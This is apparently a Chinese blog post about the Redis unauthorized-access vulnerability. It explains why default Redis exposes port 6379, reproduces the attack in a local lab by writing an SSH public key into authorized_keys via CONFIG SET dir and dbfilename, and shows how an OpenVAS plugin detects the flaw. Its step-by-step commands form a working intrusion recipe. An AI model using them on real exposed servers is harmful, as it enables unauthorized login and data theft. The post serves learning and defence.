redis未授權訪問漏洞


redis未授權訪問漏洞


了解漏洞

redis是什么?

通過查閱資料可知趣席,redis即為key-value數(shù)據(jù)庫中的一種。這有點用名詞解釋名詞了醇蝴,但是這有必要先解釋一下key-value數(shù)據(jù)庫宣肚。
Key-value數(shù)據(jù)庫顧名思義就是利用鍵和數(shù)據(jù)值相對應存儲的一種數(shù)據(jù)庫,就類似于java中的map悠栓。我們整個數(shù)據(jù)庫就可以看成一個大的map霉涨,在map中一個特地的key對應一個唯一的value。
同時我們redis作為key-value數(shù)據(jù)庫的一種他支持很多很多的value的類型惭适,redis也是一種內(nèi)存型的數(shù)據(jù)庫笙瑟,所以可以提供高效率的讀寫,但同時他占用cpu將會很高癞志。在內(nèi)存上操作往枷, 我們很容易想到數(shù)據(jù)的持久化的問題,不用擔心,redis可以將數(shù)據(jù)持久化到硬盤中错洁,所以在對不同數(shù)據(jù)集進行高速讀寫時需要權衡內(nèi)存秉宿,因為數(shù)據(jù)量不能大于硬件內(nèi)存。
看看網(wǎng)上說的reids相對于其他key-value數(shù)據(jù)庫的三大優(yōu)點:
·Redis支持數(shù)據(jù)的持久化屯碴,可以將內(nèi)存中的數(shù)據(jù)保存在磁盤中描睦,重啟的時候可以再次加載進行使用。
·Redis不僅僅支持簡單的key-value類型的數(shù)據(jù)导而,同時還提供list忱叭,set,zset今艺,hash等數(shù)據(jù)結構的存儲韵丑。
·Redis支持數(shù)據(jù)的備份,即master-slave模式的數(shù)據(jù)備份洼滚。

redis未授權訪問漏洞

Redis在默認情況會將服務綁定在0.0.0.0:6379上埂息,從而將服務暴露在公網(wǎng)環(huán)境下,如果在沒有開啟安全認證的情況下遥巴,可以導致任意用戶未授權訪問Redis服務器并Redis進行讀寫操作千康。攻擊者在未授權訪問Redis服務器時可以通過上傳公鑰的方法將自己的公鑰上傳到Redis服務器上,達到免密登陸的效果铲掐。

具體漏洞描述

Redis 安全模型的觀念是: “請不要將 Redis 暴露在公開網(wǎng)絡中, 因為讓不受信任的客戶接觸到 Redis 是非常危險的” 拾弃。
Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99% 使用 Redis 的場景都是在沙盒化的環(huán)境中, 為了0.01%的可能性增加安全規(guī)則的同時也增加了復雜性, 雖然這個問題的并不是不能解決的, 但是這在他的設計哲學中仍是不劃算的。
因為其他受信任用戶需要使用 Redis 或者因為運維人員的疏忽等原因摆霉,部分 Redis 綁定在 0.0.0.0:6379豪椿,并且沒有開啟認證(這是Redis 的默認配置),如果沒有進行采用相關的策略携栋,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等搭盾,將會導致
Redis 服務直接暴露在公網(wǎng)上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作婉支。
利用 Redis 自身的提供的 config 命令鸯隅,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中向挖,進而可以直接使用對應的私鑰登錄目標服務器蝌以。

漏洞危害

如果攻擊者進入了我們的redis服務器,他便可以自由下載數(shù)據(jù)庫中的文件何之,造成信息泄露跟畅,造成個人隱私泄露或者公司機密泄露,造成巨大損害溶推。同時如果攻擊者進行提權獲取更大的權限徊件,還會產(chǎn)生更大的危害奸攻。
我嘗試使用Shodan對公網(wǎng)上的開放的redis進行搜索(port:6379):


1.png

我們可以看到一共有87881個結果,其中我國位列榜首庇忌。舞箍。舰褪。皆疹。國人的安全意識還是有待提高。
看一下具體地圖分布吧:


2.png

兩次搜索數(shù)量有一點不一樣占拍。
3.png

榜首竟然是杭州阿里巴巴略就。

漏洞的復現(xiàn)和利用

安裝redis(我采用源碼安裝)

首先下載源碼然后編譯安裝

$ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
$ tar xzf redis-4.0.6.tar.gz
$ cd redis-4.0.6
$ make

編譯完成:


4.png

配置文件

在Src目錄下,有四個可執(zhí)行文件redis-server晃酒、redis-benchmark表牢、redis-cli和redis.conf(這個在安裝目錄)。然后拷貝到一個目錄下贝次。

$ mkdir /usr/redis
$ cp redis-server  /usr/redis
$ cp redis-benchmark /usr/redis
$ cp redis-cli  /usr/redis
$ cp redis.conf  /usr/redis
$ cd /usr/redis

開啟redis服務

直接進入剛剛創(chuàng)建的redis文件夾后執(zhí)行

$ ./redis-server ./redis.conf
5.png

檢查是否成功開啟

6.png

配置redis崔兴,使他處于漏洞狀態(tài)

我直接開啟了redis,此時沒有認證蛔翅,redis的默認就是這樣敲茄,然后我只需要將redis更改綁定在0.0.0.0:6379就可以,在redis.conf里面更改就行了山析。


7.png

嘗試使用namp掃描了一下我的6379端口

8.png

可以看到一下子就可掃描出信息堰燎,而且包含一下敏感信息。

嘗試利用redis客戶端進行未授權訪問

9.png

果然笋轨,很成功就進入了秆剪,上門查看了主機信息(信息在下面,沒截圖)

開啟公鑰登錄

生成公鑰:

$ ssh-keygen -t rsa //rsa加密
10.png

然后將公鑰寫入文本:

$ cd ~/.ssh/
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt

將1.txt寫入redis

$ cat 1.txt | /usr/redis/./redis-cli -h 127.0.0.1  -x set crack

利用redis客戶端連接

$ ./redis-cli -h 127.0.0.1

獲取redis備份路徑爵政,更改redis備份路徑仅讽,設置備份文件的名稱為authorized_key

$ CONFIG GET dir
$ CONFIG SET dir /home/r_song/.ssh     //更改目錄到r_song下
$ CONFIG SET dbfilename authorized_keys  
$ CONFIG GET dbfilename     //獲取確認一下更改成功
$ Save        //保存

然后用ssh進行連接即可(在.ssh路徑執(zhí)行,并先把我們虛擬機的ssh服務打開)

$ ssh –i  id_rsa ******@127.0.0.1

就可以成功登錄钾挟。

使用openvas對我們存在漏洞的系統(tǒng)進行掃描

查掃描結果(在上一篇博客介紹了openvas)

12.png

從圖中我們可以看到洁灵,redis-1我是使用默認的掃描方式,然后redis2是掃描的all tcp and namp 5.1 top100掃描的但是結果不一樣等龙。我們重點看redis2這個掃描結果:


13.png

可以看到掃描出了redis服務沒有密碼处渣。

了解openvas使用的各種插件,即nvt是什么

Nvt(network vulnerability tests)即網(wǎng)絡漏洞測試蛛砰,是openvas中的免費的掃描插件罐栈。我可以在線同步獲取這個插件(openvas-nvt-sync)或者離線下載。


14.png

這是我在官網(wǎng)上找到的openvas工作的圖泥畅,可以看到荠诬,openvas的插件nvt是在openvas scanner提供服務的。nvt就是根據(jù)不同的需求調(diào)用nasl腳本進行檢測。

對應掃描該漏洞的nvt是什么柑贞?

在掃描結果中可以找到nvt的名稱方椎,以及OID編號,在 http://www.openvas.org/openvas-nvt-feed.html 中可以根據(jù)OID編號查找對應nvt的文件名是什么钧嘶,然后可以在/var/lib/openvas/plugins/目錄下棠众,找到該文件。

15.png

找到指定文件:
16.png

17.png

前面是這個nvt的一些信息有决,比如oid闸拿,version,還有危險評分等书幕。Family是屬于database的新荤。基本這些都是信息台汇。
18.png

主要就是后面幾行苛骨,先獲取了端口信息,確定端口是否打開:get_app_port()苟呐。然后使用get_kb_item(〈name〉)函數(shù)可以獲得基本信息的〈name〉項的值痒芝,這個函數(shù)是匿名函數(shù)。通過測試no_password如果成功了就說明有這個漏洞掠抬,然后退出吼野。后面是加密信息端口號。

最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末两波,一起剝皮案震驚了整個濱河市瞳步,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌腰奋,老刑警劉巖单起,帶你破解...
    沈念sama閱讀 221,695評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異劣坊,居然都是意外死亡嘀倒,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評論 3 399
  • 文/潘曉璐 我一進店門局冰,熙熙樓的掌柜王于貴愁眉苦臉地迎上來测蘑,“玉大人,你說我怎么就攤上這事康二√几欤” “怎么了?”我有些...
    開封第一講書人閱讀 168,130評論 0 360
  • 文/不壞的土叔 我叫張陵沫勿,是天一觀的道長挨约。 經(jīng)常有香客問我味混,道長,這世上最難降的妖魔是什么诫惭? 我笑而不...
    開封第一講書人閱讀 59,648評論 1 297
  • 正文 為了忘掉前任翁锡,我火速辦了婚禮,結果婚禮上夕土,老公的妹妹穿的比我還像新娘馆衔。我一直安慰自己,他們只是感情好隘弊,可當我...
    茶點故事閱讀 68,655評論 6 397
  • 文/花漫 我一把揭開白布哈踱。 她就那樣靜靜地躺著,像睡著了一般梨熙。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上刀诬,一...
    開封第一講書人閱讀 52,268評論 1 309
  • 那天咽扇,我揣著相機與錄音,去河邊找鬼陕壹。 笑死质欲,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的糠馆。 我是一名探鬼主播嘶伟,決...
    沈念sama閱讀 40,835評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼又碌!你這毒婦竟也來了九昧?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,740評論 0 276
  • 序言:老撾萬榮一對情侶失蹤毕匀,失蹤者是張志新(化名)和其女友劉穎铸鹰,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體皂岔,經(jīng)...
    沈念sama閱讀 46,286評論 1 318
  • 正文 獨居荒郊野嶺守林人離奇死亡蹋笼,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,375評論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了躁垛。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片剖毯。...
    茶點故事閱讀 40,505評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖教馆,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情活玲,我是刑警寧澤穗熬,帶...
    沈念sama閱讀 36,185評論 5 350
  • 正文 年R本政府宣布窟赏,位于F島的核電站棍掐,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏粟誓。R本人自食惡果不足惜揽咕,卻給世界環(huán)境...
    茶點故事閱讀 41,873評論 3 333
  • 文/蒙蒙 一逗爹、第九天 我趴在偏房一處隱蔽的房頂上張望挟冠。 院中可真熱鬧斑胜,春花似錦辫诅、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,357評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至涉枫,卻和暖如春邢滑,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背拜银。 一陣腳步聲響...
    開封第一講書人閱讀 33,466評論 1 272
  • 我被黑心中介騙來泰國打工殊鞭, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人尼桶。 一個月前我還...
    沈念sama閱讀 48,921評論 3 376
  • 正文 我出身青樓,卻偏偏與公主長得像锯仪,于是被迫代替她去往敵國和親泵督。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 45,515評論 2 359

推薦閱讀更多精彩內(nèi)容